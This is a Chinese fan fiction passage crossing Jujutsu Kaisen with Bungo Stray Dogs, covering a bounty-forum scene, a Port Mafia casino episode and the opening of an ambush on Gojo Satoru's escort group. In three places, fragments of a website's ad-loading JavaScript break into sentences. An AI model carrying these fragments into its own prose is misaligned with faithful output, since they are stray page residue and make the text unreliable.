很快,小姑娘便想到了法子,她向弟弟提议:“对了,惠,反正大人都不在,要不今天就一边写功课一边看电视吧!” “不是你提议说写完才能看吗?”伏黑惠的注意力果然被转移,他有些疑惑的问道。 伏黑津美纪拿起锅铲,笑得灿烂。 “今天放纵一下啦!” 10. 悬赏。 “话说,就这种任务,有必要让两个特级咒术师来吗?这也太大材小用了吧?” 无视站在讲台上正慷慨激昂给两人介绍这次任务内容的班主任夜蛾正道,五条悟光明正大的和身边人说悄悄话。 “我觉得没有必要。”夏油杰靠着椅背,手指上缠绕着两条低级咒灵,侧头对五条悟笑了一下: “不过恰好这几天大家都在,有空聚一聚也不错,就当度假了嘛。” “对哦,我也有一个月没有回来了,你和硝子一定想我,等的很寂寞吧。”五条悟相当自恋的嘿嘿两声。 “还好吧,只有一点哦。”看着自家友人一如既往的自信模样,夏油杰轻笑。 “你们两个认真点啊。”夜蛾正道见把黑板拍的砰砰作响都没能让两人专注点,终于忍不住对着他俩一人扔了一个粉笔头。 扔下五条悟的粉笔头在无下限的隔离下被轻松弹到夏油杰那边,完全无法击破防御。 而夏油杰那边更是不动如山,他手指上缠绕的两只小咒灵相当自觉的开始工作。 两个黑色小鼻嘎一口一个将两个粉笔头吃到了嘴里,然后接着缠在黑发青年的手指上乱晃。 见到两人的应对,夜蛾正道不想再多说什么,懒得跟两个孽徒生气,他打开投影仪,开始介绍此次任务的目标和要求。 “保护星浆体直到天元大人正式将其同化,接到任务目标后,将其带回高专地下的咒术结界等待,并在最终时刻将其抹杀。” “仪式每五百年进行一次,只有定期进行同化,天元大人才能继续维持整个日本结界的稳定,所以这次的任务极其重要,不能有半点闪失。” “这是任务目标的照片——”夜蛾正道虽然很是气闷,但还是尽职恪守的继续介绍本次任务的要点: “除去需要保护的任务目标之外,这次应该会有不少诅咒团体来妨碍这次任务的实现,其中最需要注意的是盘星——” 看着幻灯片上面投影出的少女照片,五条悟再次不正经的跟身边人嘀嘀咕咕: “哇,好残忍哦。” “确实呢。”夏油杰点头附和。 “虽然为了世界和平啊,但这种仪式真的老套又残忍,就不能赶紧改进吗?干嘛非要通过杀人啊?”五条悟继续大声嘀咕。 “悟说的对。”夏油杰继续点头。 夜蛾正道:“……” 班主任手中的粉笔倾刻便被捏成了粉末。 任务什么的先放在一边,先把这两个逆徒处理一下吧,就算是特级又怎样?上课也得给我好好听讲—— 一时间教室里格外欢腾。 不过,教室外的气氛可就没有这么欢乐了。 走廊上。 家入硝子手持盒装酸奶,在走廊边的木杆栏上坐着,站在她面前的是穿着一身考究奢华和服的黑发青年。 哎呀,好麻烦。 早知道不出来买酸奶了,就不会刚好被这家伙堵住——话说京都校的禅院家少爷为什么要来东京高专啊? 两家学校的关系实属一般,现在又不是姐妹校比赛时期,印象里近期也没有什么特别任务,或者说活动需要对方过来。 难道是跑来闲逛了?又或者说这位五条迷弟听到五条回来了跑过来想找五条玩? 家人硝子吸着酸奶,思考面前人的动机来打发时间,对方堵在面前不方便直接走,毕竟这样真的有些尴尬。 这位黑发青年,正是处于离家出走状态的禅院直哉,来东京做了两天任务也没有缓解他的心情,最后选择来东京校看看。 “悟君还没好吗?” 禅院直哉倒是不知道面前少女的心理活动,又或者,某种意义上来说,他也根本就懒得去推测。 说实话,比起让他去猜测这位平民少女的想法,关于对方外貌能力的点评反而会更快从脑中浮现。 是悟君的同届,术式还算不错,是少见的反转术式,没记错的话是普通家庭来的吧? 脸长的很好,身材也不错,但坐姿有些过于粗鲁了,一点都不淑女,不过也有点返璞归真的可爱就是了。 “还没有。”虽说对方视线的冒犯程度已经比前几年轻了许多,但微妙不爽依旧浮上心头,家入硝子死鱼眼: “禅院君再等一会儿吧,据说是很重要的任务,所以才这么长时间。” 两人正聊着,刚刚完成任务回到高专的两位二年级生刚好路过,察觉到家入硝子求救的视线后,两人上前搭话。 “硝子姐在这里干什么呀?啊,这位是禅院君吧。”灰原雄的声线一如既往的热情温和:“真是好久不见了。” 七海健人在一旁点头示意,瞥了眼禅院直哉,并没有出声。 和灰原雄这种粗神经小太阳不同,七海健人对禅院直哉的印象和家入硝子一样——哪来的封建残余,真讨厌。 因为之前有在姐妹校比赛中交过手,三人又是同一年级的,禅院直哉嘴臭自大但实力确实还算不错,让人印象深刻。 禅院直哉根本就没有被众人讨厌的自觉,相当自信的跟几人交谈着,甚至在心中点评更新对身边的几个人的印象。 黑发的这个四肢发达头脑简单,但好在没有坏心思,金发的那个还是跟之前一样拽,视线也有些敌意,不过不重要。 一时间气氛彻底僵持住了,好在教室里的三人很快便说完了任务内容,走出教室打破了沉闷气氛。 夜蛾正道看了眼禅院直哉,没有多说什么,选择不去掺和学生之间的私事,转身回教师办公室处理后续工作。 五条悟和夏油杰正勾肩搭背,察觉到禅院直哉的目光后,正打算无视并跟着自家好友赶紧走掉,却被叫住了。 “悟君,下午好。” 身边众人听见这么亲密的称呼都在心中偷偷撇了下嘴,真是区别对待呢,这位少爷。 被喊住的五条悟在众人的注视下无法继续无视对方,虽然在他禅院直哉有些讨厌,但目前没做什么惹到他的事。 不仅如此,对方确实是禅院家目前最炙手可热的未来家主人选,平日里的态度也还算殷勤,没必要当众落他面子。 禅院直哉说话虽然讨厌,但在某种意义上也算是百分百直白,蠢和殷勤都放在台面上,并不是那种心机深沉的讨厌鬼。 总之,出于各种因素,五条悟没能成功无视面前这位小橘子,有些不爽的白发青年取下墨镜,相当拽的应了一声: “哈?” ———— “晚上好。” 虽然早就有心理准备,但被找上门的速度还是快的离谱,孔时雨看着靠在自己临时住所门框上的男人,一时间有些无语。 禅院慎一的个头太高了,以他的身高靠在门上需要微微低头以免撞到,整个人看起来压迫感极其的足。 孔时雨并没有纠结太久,在脑内简单权衡一番利弊后,还是把人放进来了,顺带交代对方换鞋。 首先,打不过。 其次,对面还算讲道理。 嗯,当然,最主要的的原因还是打不过。 十分钟后。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 两人在桌边坐下,正对着电脑,一同浏览着涉及诅咒异能等一系列灰色地带的专属交流网站。 禅院慎一对这个网站只能说有所耳闻,并没有专门找来看过,平日里喜欢在上面接任务的是禅院甚尔。 随着鼠标滚动,论坛上面的任务五花八门的,违法犯罪的内容占了百分之八十朝上,剩下比较活跃的是讨论区的各种超热帖。 虽然网络这种新东西才出现没有多久,安装也比较贵,但对于绝大部分的咒术师诅咒师或者异能者来说想接触并不算难事。 看来就算是在网线上人类也是这么的吵闹啊,不得不说还挺全面的,甚至还有异能和咒术的使用经验贴。 很明显,孔时雨对这个网站极其熟悉,非常快速的寻找着有关禅院甚尔行踪的线索。 这位资深中介一边非常快速的刷新着页面,一边试图跟身边的某人讲道理,开始给自己疯狂叠甲: “甚尔接完任务就走了,我现在也不知道他在哪。” “我跟甚尔只是雇佣关系,没有任何的私交,还有,那是你表哥,不是我表哥。” “事实上,你也知道,假如没有工作上的内容,我一向是不会跟你们两个中的任何一个有牵扯的。” 毕竟两个人都是顶级麻烦鬼。 “甚尔目前只在你这里接任务。” 禅院慎一懒洋洋的一句话把天聊死。 孔时雨不说话了,鼠标移动发出噼啪的声音,很快,便找到了印象中禅院甚尔寥寥提过几句的页面。 在简陋论坛悬赏页面的首页,最上方的悬赏页格外引人注目,穿着黑色行动服的男人露出了侧脸,是一张很熟悉的脸。 正是禅院慎一。 悬赏禅院慎一的那张图下面写的并不是他的本名,而是他在组织里的代号迈尔特。 仅这一张照片便将整个页面填的满满当当,照片下方的金额更是长的一连串望不到头,堪称天价悬赏。 禅院慎一默默回忆起系统列出的那串成就中名为【超级悬赏王】的成就。 当时禅院慎一还在纳闷,为什么被悬赏也能拿个成就。 好了,这下知道了。 组织真舍得出钱啊,简直下了血本。 孔时雨继续向下拉,终于找到了禅院甚尔此次的任务目标,是一张黑发少女的照片,但下面的备注格外惊人。 这是位被两位特级咒术师保护着的少女。 五条悟和夏油杰……没记错的话是东京咒术高专的三年级生,五条悟在一年前晋升特级,半年后夏油杰紧随其后。 这两位特级咒术师年轻强大,未来不可限量,五条悟身后更是有着整个五条家做后盾。 禅院慎一突然就懂了禅院甚尔为什么接这个任务,不仅仅是因为丰厚的悬赏,他是真想让禅院家和五条家打起来啊。 你真敢接啊,我的哥。 禅院慎一一时间无话可说,至于自己照片下那一串长到离谱的数字…… “别看我,你老东家放的。” 孔时雨察觉到身边人的视线,解释道:“所以我上次洗钱的中介费才收这么贵,要不是熟人我都不接。” 说真的,为了给你洗那点小破钱,我都觉得自己脑子有病……孔时雨张了张嘴又闭上了,脑内吐槽并没有说出口。 但其实眼神已经能够说明一切。 这两个兄弟有一个省油的灯吗? 感受到多年老友谴责的视线,禅院慎一撇撇嘴,最后吐出一个单音节: “哦。” 11. 赌场。 今天绝对是本周,不,本月,甚至说,从今年年初至今——本赌场业绩最好的一个上午! 看着监控里的冤大头再次叫住服务员购买筹码,一刻不停的沉迷于赌博并输光,赌场经理露出了志得意满的笑容。 从哪里找这种优质冤大头啊?这段时间这个健壮黑发男人锲而不舍的来这里赌博,但他的赌运实在差的离谱。 换言之,这人时不时就会来送钱,而且非常大笔——对方的行动完全是所有赌场梦中最佳客户的模样啊。 这次的金额更是比之前都大,已经赌了一小时了还在下注,以这家伙的赌运来说,这些全部都会变成营业利润的! 至少一个小时前,赌场经理还是这样想的。 直到这位赌鬼的亲人,那个左臂残疾的男人找上门来并加入赌局后,情况就急转直下,盈亏也快速逆转。 比起那个赌鬼,这人的运气好到离谱,同样是头也不抬的翻倍翻倍,完全不照常理出牌的随意下注。 无论运气有多少,在这种玩法下正常人绝对会清空的桌面,此时却反直觉的正不断堆积着越来越多的筹码—— 赌场经理站在监控室看着这位残疾男人随意下注,轻轻松松的翻倍翻倍再翻倍,一次又一次的上演赢家通吃,很快便坐不住了。 为什么一直在赢?可确实看不出来在作弊啊!但这怎么可能呢?怎么会有人有如此赌运!即便是绝顶聪明的老赌徒也做不到—— 再赢就要出事了……不过没关系的,毕竟赌场的幕后东家是港口mafia,有人来砸场子又怎样,总会解决掉的—— 赌场经理在心中安慰自己。 他默默等待着,直到残疾男人面前的筹码堆到一个幕后老板也绝对无法容忍的数字,赌场经理立刻出声招呼镇场的异能者工作。 赌场经理露出阴险表情,他相当自然的发出残忍命令:“这家伙作弊了——赶紧叫保安把他们轰出去,最好把他们的腿打断——” “没有哦。” 清朗的少年音从背后响起,明明语气平淡毫无威胁,却如同按下了赌场经理的暂停键,监控室内顿时鸦雀无声。 中年男人僵硬的扭过头,冷汗从额头向下滑落,对来者打断自己说话的行为没有感到愤怒,反而如同本能般露出了讨好笑容。 “干部大人,下午好。” 虽然隐约听懂了面前干部回答的是哪件事,但赌场经理还是不愿意放弃渺茫希望。 怀着侥幸心理,他壮着胆子重复了自己的观点:“……干部大人,这里有人闹事,一直在作弊,看,这个人一个小时就赢了……” “我说——” “没,有,哦。” 披着西装外套的黑发少年语气温柔,只可惜笑容不及眼底,他笑着否认面前人的观点,也在某种意义上宣判了他的死刑: “这两人的行为,完全是合规的哦。” ———— 通过从孔时雨那边获得的信息,以及对自家表兄的了解,禅院慎一相当轻松的找到了禅院甚尔,直接将人堵在了赌场。 真能输啊。 看着自家表哥又菜又爱玩又喜欢无脑梭///哈的样子,禅院慎一有些手痒。 赌博是光靠胆子大的吗? 这种打法完全就是在给庄家送钱嘛,而且禅院甚尔运气巨差,这么多年怎么还是没有自觉呢。 根本没有意识到自己日常给对方打钱的行为助长了某人的气焰,禅院慎一叹气,只能拉开凳子在自家表哥身边坐下。 打是不可能打的。 只能在旁边弥补一些损失了。 毕竟没猜错的话,这家伙赌钱的赌资,绝对有很大一部分是—— 是他的血汗钱。 怀着这样的想法,禅院慎一额头青筋微跳,笑眯眯拿起筹码参与赌博,相当有气势的开始挽回损失。 因为懒得玩比较复杂的项目,禅院慎一直接选择了最赌运气的那几种,在确定倍率后,他将筹码推到赌注区。 很快,随着他的游戏进程,荷官脸色越来越僵,身边的禅院甚尔也停下了动作,手托着下巴开始帮他整理桌子上越堆越高的筹码。 而四周窥探的视线也越来越多,但在兄弟两人的气势压迫下,并没有人选择上来讨打,只敢在私下窃窃私语。 在荷官洗牌的中场休息时间,禅院慎一环视了一番这家装潢颇为豪华的赌场,随后相当直白的问自家表哥: “你在这家赌场输了多少?” 禅院甚尔摸着下巴回忆了一下,根本没有犯错的自觉,他轻飘飘的吐出了个让禅院慎一头上青筋更加活跃的数字。 察觉到禅院慎一的视线谴责,禅院甚尔耸耸肩,心中那股微妙的不爽得到些许平复。 毕竟,表弟的赌运跟他相比简直是一个天上一个地下,每次看这家伙赌博,哪怕以禅院甚尔的性格都会有些怀疑人生。 而且即使禅院慎一十赌九赢,却从来都不沉迷,只会懒洋洋的将其作为一种消遣,甚至懒得玩,某种意义上来说更打击人了—— 有的人赌什么都能赢。 而某人赌什么都会输。 简直就是世界上最惨烈的对比。 好在即使这家伙赌运这么强,但还是需要给自己收拾烂摊子,想到这里,禅院甚尔心平心和起来,甚至有心情喊服务员上些餐品。 不过禅院甚尔并不是那种认命的人,不然他也不会一次又一次的试图赌赢,这点小挫折对他来说不算什么。 某人很快便恢复了活力,又相当自然的从禅院慎一那边拿了些筹码继续梭///哈。 不过因为两人进行的局数一样,虽然禅院甚尔一直在输,但输的并没有禅院慎一翻倍赢的多,于是两人面前的筹码堆的越来越高。 没有顾及荷官几乎是恳求的目光,禅院慎一喊下跟注后开始跟自家表哥闲聊。 主要是想问问他到底是怎么想的。 ——怎么想起来接这个要直面两位特级咒术师的任务的。 别的不说,至少要想一想孩子啊,干嘛搞这么极端,虽说准备确实称得上万全。 因为两人实在太过了解彼此,禅院慎一轻松看懂了禅院甚尔的手段。 先通过在论坛悬赏,用高额悬赏引来一些还算有实力的杂鱼消耗两位特级的体力,等到最后再进行一击必杀。 不愧是经验老道的术士杀手,深谙敌在明我在暗的重要性,到现在对方应该还不知道禅院甚尔的存在。 稳妥强力的战术安排,再配上他顶尖的战斗力,即便对面是两个特级大概率也不会翻车,毕竟打不过还能跑。 再次报出押注,禅院慎一没有管是否赌赢,拿起免费供应的香槟喝了一口,开始跟自家表兄一起吃午饭。 “你还真不怕出事。”禅院慎一揉了揉太阳穴:“对面可是五条家的六眼,而且如果没有同化成功,日本说不定就完蛋喽?” 禅院甚尔笑了。 与身边人相似的脸庞中透露着一股更加老成的阴狠与狠辣,黑发男人轻松掰开手中的筷子,夹几口菜塞进嘴里。 “只是暗杀任务而已,这种重要的事情不可能没有后手吧?” “而且,能够挫败某些人毫无自知之明的自得,不是很有意思吗?”禅院甚尔完全没有自己在捅大篓子的自觉,向自家表弟发出邀请: “要不要一起来?事成分你一半。” 这不是钱的问题吧,禅院慎一心想。但还是纵容的点了点头,应下了禅院甚尔的邀请。 毕竟,他正打算试验一番,若是做出一些出格举动,是否可以得到反馈——禅院慎一瞥了眼摄像头。 恰好此时,脑内系统提示音再次响起,正如禅院慎一如所预料般,数个成就被达成,一时间脑内机械音叮叮咚咚。 【连续十次进行梭///哈并成功,难道胜利也在您的计算中吗?您的胆量和贪婪遮天蔽日!达成成就:【梭///哈是一种智慧】!】 【虽然说嘴上答应,但是心里没有答应哦,老话说的好,人生如戏全靠演技,总之下次一定!达成成就:【阴奉阳违】!】 【成为全场焦点,被所有人又爱又恨的感觉如何呢?成为他人记忆中浓墨重彩的路人甲吧。达成成就:【最靓的仔】!】 还是一如既往的无厘头风格啊。 禅院慎一嘴角微抽,被成就名字逗的想笑,但下一秒他就笑不出来了—— 【检测到您再一次进行了爆金币的行为,累计进行频繁又多次的爆金币,成为某些人的ATM机,原成就【嘿!爆金币】升级!】 【恭喜您获得新成就【哇!ATM机之神】!您就是古埃及掌管被爆金币的神!请查收!】 【恭喜您!世界影响度已经提升至30%,为了世界的和平与美好,为了生活的稳定和幸福,请您再接再厉!】 听到最后一个成就后,禅院慎一下意识看向家里最大那只吞金兽,但对方完全不以为意,甚至吃的更香甜了。 禅院慎一:……行吧。 还能咋的。 养着呗。 禅院慎一无奈的想。 ———— 比起兄弟两人之间的温馨和谐,另一边,监控室内的气氛却越发冰冷可怖。 “干部大人,这两个家伙赢了这么多钱,绝对是来砸场子的吧,是不是应该——”赌场经理试图做最后的挣扎,他大声说道。 “蠢货。” 太宰治轻轻吐出两字,便已让负责人的脸彻底失去血色,人也踉跄了下。 无视面前中年男人如丧考批的表情,太宰治拉开办公桌的椅子坐下,握住鼠标开始调取他想得知的信息—— 比如说,近半年的赌场流水。 “怎么了,为什么这个气氛。”晚一步才到的赭发少年没有听到之前的争执,他把肩上披着的西装随意放在办公桌上。 察觉到负责人恳 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 求的视线,中原中也看了眼监控中桌子上的筹码数量,有些不解的发问: “这两个家伙赢的钱确实已经达到了砸场子的标准,为什么不处理?” 太宰治没有第一时间回话,黑发少年的双手在键盘上灵活敲打着,富有节奏的键盘声回荡在寂静的监控室内。 直到自家搭档已经等的有些不耐烦,太宰治才猛地将电脑屏幕扭过去面对中原中也。 “中也真的好蠢啊,正是你的娇惯,这些家伙才会蠢的如此自信——” 在中原中也发作前,太宰治指着电脑屏幕上的悬赏页面,笑眯眯的说道: “来,看看这个。” 虽然对自家搭档又莫名其妙发神经感到不耐烦,但中原中也还是给面子的凑过去:“你是说这人有悬赏?悬赏还是很正常的吧……” “等下?!”数清界面上的数字长度后,中原中也睁大眼睛,一时间有些难以置信: “以十亿为单位?!这页面真的假的!?” “嗯哼。” 嫌乐子不够大似的,太宰治故意采取了最挑衅的一种说法: “只可惜我们闯出的名堂还不够大,我们两个的悬赏加起来都没有这个残疾家伙的悬赏金额高哦。” 太宰治将鼠标甩给中原中也,任由对方接着查阅页面上的信息,汲取只有灰色地带才有的灵通消息。 毕竟最新版的论坛还是挺隐蔽的,中也这种笨蛋找不到网址也很正常,和脑内纵容想法不同,太宰治的表情越发有压迫感。 这位港口mafia有史以来最年轻干部勾起唇角,俊秀的脸上露出了在下属眼中与恶魔无异的微笑: “至于那个残疾家伙身边的那个。” 太宰治语气轻柔如同在和情人呢喃,低着头的赌场经理却依旧瑟瑟发抖,甚至抖的更厉害了。 “在赌场开设最初,早就有所谓的名单了吧?钱这种东西,赚之前是不是应该考虑一下……” “……有没有命花呢!” 桌上的烟灰缸精准的把赌场经理砸的头破血流,烟灰混着血液流下,但他不敢躲,也不能躲,只能站在原地惊恐的喘息。 “蠢货,天予暴君的钱你也敢赚?!” 甚至是两个! 既然之前敢赢,那么就意味着现在敢输,所以这两人今天无论从赌场里赢走多少钱,他们都必须付,付不起也得付! 除非想自砸招牌,且招惹两位强者不满! “这件事确实做的不行。” 中原中也虽然有着靠谱充沛的责任心但并不傻,话语中的维护之意已经消失的干干净净。 已经适应了在黑方行走的他,自然能听懂负责人捅了多大一个篓子,而且完全是因为贪婪和愚蠢犯下过错。 不过,不得不说,这家伙手感好的离谱啊,怎么说赢就赢的,还看不出来任何破绽,不作弊的话真的能做到的吗? 看着监控画面上又开始赌博的残疾男人,中原中也百思不得其解: “这家伙真的没有出老千吗?赢这么多,而且赌博手法很粗糙啊。” 根本就不符合老赌徒的手法,整个人看起来也很闲适,完全没有正在进行以百万为单位赌博的自觉—— “不需要,那家伙确实没有作弊。” 太宰治嫌弃的拍着绷带不小心沾的一点烟灰,出声解答搭档的疑问:“别看了,没有异能力加成的。” “这家伙就是纯粹的……” 强运! 绝对的强运! 未尽之言在场几人都已明了,但当这个词在脑内显现时,说不上是嫉妒还是无奈的感受不约而同的从心中涌现。 这就是上天偏爱之人的运气! “是那个组织叛逃的人啊。”中原中也记下论坛网址后把电脑推回去,很快便回忆起了这家伙悬赏如此高的原因。 “对哦,所以无非就是把之前吞进去的钱吐出,再给些补偿吧。” 太宰治口气轻巧,意有所指的瞥了眼赌场经理:“那人行事一向有分寸,最多只会赢到之前损失的双倍,对方可比有些蠢货要聪明多了。” 正聊着太宰治的西装口袋中传出电话铃声,他接起电话,表情瞬间又变得软趴趴起来:“走吧,又有任务啦。” 见中原中也盯着两位天予束缚有些摩拳擦掌,太宰治喊住他:“喂,别看了,之后绝对会再见的,到时候再跟他们打一架得了。” “知道了——” “不过你这么矮,站到人家面前说话,人家说不定都看不到你吧,哈哈哈哈哈哈。” “死青花鱼!!!” “略略略——” 两位少年早已离开多时,监控室内又恢复了宁静,而赌场经理迟迟没有抬头,他站在角落里,冷汗淋漓直到将整个后背浸湿。 中年男人脑内不断的回忆着干部的那一眼—— 他绝望的意识到一件事。 自己完了。 12. 交手。 天内理子其实早就接受了自己既定的结局,在花季便死去,或者说好听一些,她注定拥抱被天元大人同化的命运。 融入天元大人体内,舍弃意识和形体作为稳定剂,保护笼罩着整个日本的结界,这确实听起来很酷,也很了不起。 而去年的她突然被告知同化时间延后,当时庆幸与失望混杂的心情至今记忆犹新。 看着喜极而泣着拥抱自己的黑井美里,天内理子也忍不住落下泪水,随着泪水的落下,心也仿佛挖走了一块。 但身为天元大人命中注定的一部分,她要坚强起来,哪怕是死亡也无需畏惧—— 但谁来告诉她。 为什么比死亡先来的是社死啊? “喂——谁是天内理子——” 天内理子是知道会有新保镖来找她的,在保镖到来前,她努力征得监护人员同意后,还是来到宗教学校上课。 但现在她已经为一个小时前做下的决定悔青了肠子……察觉到身边同学看向自己的目光,天内理子捂住已经通红冒烟的脸。 而罪魁祸首们毫无自觉,在相当潇洒的把礼堂的门踹开,甚至还朝外拉了些,呼啦啦好几个人堵在门口超级惹眼。 为首那个个子最高的白发青年戴着墨镜,双手在嘴边呈喇叭状,他继续吆喝着: “天内理子在哪里?举个手吧——” 站在他身边的棕色短发少女紧随其后: “天内大小姐,我们来接你啦——” 这个架势,不仅天内理子想要立刻逃离地球,如果仔细看的话,门口那群人中的几个也已经崩溃捂脸试图逃离众人视线。 但最活跃的两位,不光没有感受到不好意思,甚至意犹未尽,似乎打算再喊一遍。 天内理子感受到身边同学们的注视,最后还是承受不住门口的几声喊,她小步挪出人群,边挪边盯着地板试图找到一丝缝隙, 黑发少女心中欲哭无泪。 谁来救救她啊! ———— “总之情况就是这样。” 在击败一波敌人后,夏油杰指了指堆在地上不省人事的几位诅咒师,和此次的保护对象解释了下现在的情况。 一群人正靠在高专配车边休息,并商量对策。 毕竟,虽然星浆体比较贵重也意义重大,但除了个别教派外,普通的诅咒师和异能者并不会太在意这件事。 但仅在刚才的两个小时内,众人便已经处理了三波袭击者,敌人如同闻到血的鲨鱼一般高强度的追踪着众人。 “但没关系啦,绝对没有那么危险。”五条悟摘掉墨镜,露出湛蓝璀璨的六眼,察觉到闪了一下天内理子后他有些得意: “保护你的可是两位特级咒术师!剩下的也都至少是二级实力,还有反转术式哦。” 天内理子点头,看了眼在场人数,又回忆了下几人游刃有余的战斗配合,心中莫名产生了一个推测…… 刚才听介绍有东京高专三年级三位,二年级两位,京都高专二年级一位,但现在想想,这个任务真的需要六个人吗? 其实天内理子想的没错,这次任务确实算的上团建,除了伊地知洁高外的东京高专众全都在校,战斗力也不弱。 而来东京高专散心的禅院直哉要求跟上来时,大家也都没有反对,于是便组出一群人来保护星浆体。 留着单侧刘海的黑发青年和棕发少女还有白发青年黏在一起嘀嘀咕咕,一旁的金发青年和黑发青年乖乖听讲。 剩下的黑发青年表情平淡,靠在车上双臂环胸,一副跟大家不熟的模样,姣好面容的眼尾上扬,穿着少见的传统和服。 日常情况下穿和服有些突兀,但在黑发青年身上倒显得相当自然,不过对方的性格能从耳钉等细节能够看出一二。 很明显,他就是来自京都校的那位。 察觉到天内理子的视线,禅院直哉挑眉,相当反客为主的将黑发少女上下打量了一番,最后淡淡收回视线,似乎有些嫌弃。 天内理子:…… 这人怎么回事啊?突然感觉好火大……天内理子有些不爽,被这样看了一遍也有些发毛,下意识靠的离黑井美里更近了点。 “虽然人多有人多的坏处,比较显眼,不过处理这种杂鱼也更加轻松了。”五条悟有些嫌弃的踢了一脚地上的那堆诅咒师。 “查出来了哟。”家入硝子将电脑正面推向众人方便大家查阅,她叼着棒棒糖,含含糊糊的说着:“果然有悬赏。” “而且悬赏价格很高,超级高。”家入硝子继续说道:“离同化的时间还有一天半,这么高的悬赏绝对会引来源源不断的敌人。” “所以现在最好的方法就是回高专。”夏油杰听懂了家入硝子的未尽之言,顺着她的思路延伸了一番: “那么需要搞点障眼法什么的……” “不用。” 夏油杰话音未落便被异口同声的打断,声音来源者分别是五条悟和禅院直哉。 “就算有敌人也不过是送菜罢了,在外面逛一天半也无所谓。”五条悟看了眼天内理子,懒洋洋的说道:“就当出来玩两天吧。” “你们两个的身形差的太多了。”禅院直哉轻松理解夏油杰所说的障眼法是什么意思,相当不客气的做出否决: “身高和身材差别都太大了,现在敌人都在暗处,这招在有脑子的敌人面前不一定行得通。”黑发青年看了两眼后收回视线。 “啊,这样啊。”五条悟接话。 禅院直哉见五条悟回话有些洋洋得意,但听到对方的下一句话便有些笑不出来了。 “那就搞障眼法吧。”五条悟故意说道:“从出高专到现在所有见过我们身形的敌人都已处理完毕,障眼法确实可以玩一玩。” 很明显,五条悟在故意憋禅院直哉……众人都意识到这点后默契移开视线,虽然有说两家学校应该一家亲,但完全没有落实过呢。 某人确实有点像是被所有人排挤…… 但禅院直哉并没有因为被抹了面子而生气,反而相当爽快的收回自己的话,最后分组的时候还要求跟五条悟一组。 “真的没问题吗?”夏油杰有些担心的问。 “没问题,上周跟你还有硝子说的那件事情已经成功了哦。”五条悟戴回墨镜,笑得格外自信,一旁家入硝子开始进行分组。 最后众人进行了反心理分组,两组相隔20里,天内理子和家入硝子都变装,应五条悟要求等情况紧急再加速赶路。 五条悟,家入硝子,禅院直哉,黑井美里一组开路,夏油杰,天内理子,七海健人,灰原雄一组在后面跟着。 五条悟打头阵首先清理骚扰,夏油杰作为补强处理后续情况。 不过,其实完全可以让夏油杰五条悟配虹龙带着任务目标天内理子直接回高专。 但看着五条悟和天内理子兴奋的讨论沿途路径,一副准备旅游般热火朝天的样子。 家入硝子和夏油杰叹气选择纵容,禅院直哉,七海健人,灰原雄则都点头表示配合。 算了,反正有家入硝子这个奶妈在,大不了就让五条悟一直开着无下限,脑袋烧坏了就赶紧治一治,总归出不了事的。 ———— 平安无事的度过了一天半后,众人在沿途玩的非常尽兴,游刃有余的处理掉所有敌人,一时间有些放松下来,高专也越来越近。 但真正的幕后猎手就在等候这一丝松懈——敌袭来的又快又凶,两只队伍同时遇袭—— 砰砰砰! “有枪——什么东西,先趴下!” 五条悟话音刚落,钢铁外壳的物件掉落的弹跳声也传入几人耳朵,下一秒烟雾弹发挥作用,一时间视野极度不清晰。 最麻烦的是,除了烟雾弹中迸发的烟雾外,同样笼罩住众人的还有高密度低级诅咒,直接限制了视野—— 谁家咒术师打架还用枪和烟雾啊! 几人脑中都出现了这句吐槽,但下一秒便没有时间再想,来者单枪匹马但实力极其强劲,枪声再次响起。 砰砰砰! 连续六发子弹精准的击中五条悟的面门,很明显是经过特殊处理的子弹,虽然无法突破无下限的防御,但成功的造成了消耗—— 烟雾散去些许,四人看清了烟雾中的身影,袭击者身形高壮,仅看一眼便能察觉到蓬勃气势,但左小臂竟然空荡荡的—— 察觉到众人惊讶的注视,禅院慎一不慌不忙的单手换着弹夹,再次举起枪,又是一波精准的六连发,百发百中! 侧身轻松躲过五条悟的攻击,禅院慎一手上动作不停,从腰间包拿出弹夹继续换弹,转换了攻击的目标。 子弹从另外三人耳侧掠过,根本来不及 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 反应便烧断了他们耳侧的发丝,让他们不禁细想,如果打的再准一些会如何。 或者说,这三弹就是故意打偏的—— 居然没有杀意?! “悬赏有这么高吗?天予束缚都会接?”五条悟被禅院慎一的行为激怒,手指结印一发又一发恐怖的咒力攻击从指尖迸发。 “还好吧?”禅院慎一选择打哈哈,他在空中调整姿势后灵活躲过攻击,落在树枝上,再次打出三发子弹命中目标。 总不能告诉对方悬赏任务正是他发布的吧,黑发男人吹灭枪管口的硝烟。 “那你这花费不小啊,这种高科技武器每一颗子弹都要不少钱吧,是因为没法单手持刀所以才偷袭?”五条悟瞬移靠近。 “没错哦,子弹上面的暗纹需要一级以上诅咒师雕刻,能够轻松突破准特级甚至以上的防御手段。” 出于对天予束缚体术能力的尊重,五条悟保持着相对安全的距离,控制体内咒力再次运转发出攻击。 五条悟已经认出面前人是谁,这也意味着夏油杰大概率也要面对天予束缚,他得赶紧击败面前人去帮杰。 越是这个时候越要冷静,白发青年动作不停,大声道:“直哉,快带硝子和黑井小姐走!去高专找人——” 禅院慎一换弹之余继续朗声公布手中咒具能力来增强攻击效果:“至于缺陷嘛,一次只能打六发,而且使用寿命极其短暂——” 再次打完这次的弹夹,禅院慎一并没有选择换弹,而是手腕一甩,将手中枪具精准抛向五条悟的脚边,不给其闪躲的机会。 “会炸膛哦。” 下一秒,在场所有人都感受到了爆炸特后有的耳鸣感,火光闪后场地出现大范围土坑,交战两人身边变的一览无余—— 禅院慎一没有去心疼那把耗费不少心力才研究出的破咒枪,视线锁定白发青年,给予这位青年强者应得的尊重。 黑发男人嘴角微翘,英俊面孔上战意盎然,他抽出腰间刀具直指白发青年,即使仅有单手也气势十足。 毕竟分工还蛮简单的,自己这边只需要拖住就行了,那边自家表哥会出手,好好享受战斗才是他的主要目的。 在普通人世界可没有这种机会活动筋骨,能跟六眼对战次数不多,该好好珍惜才是,也看看自己因为伤残实力下降多少—— 下一秒,两人便缠斗在一起。 一旁的家入硝子刚跑出爆炸范围没多久,或者说她是被拽出来的。 刚才爆炸时以她的战斗力根本反应不过来,爆炸瞬间是禅院直哉双手提住两位女士的后颈,非常极限的闪出爆炸范围。 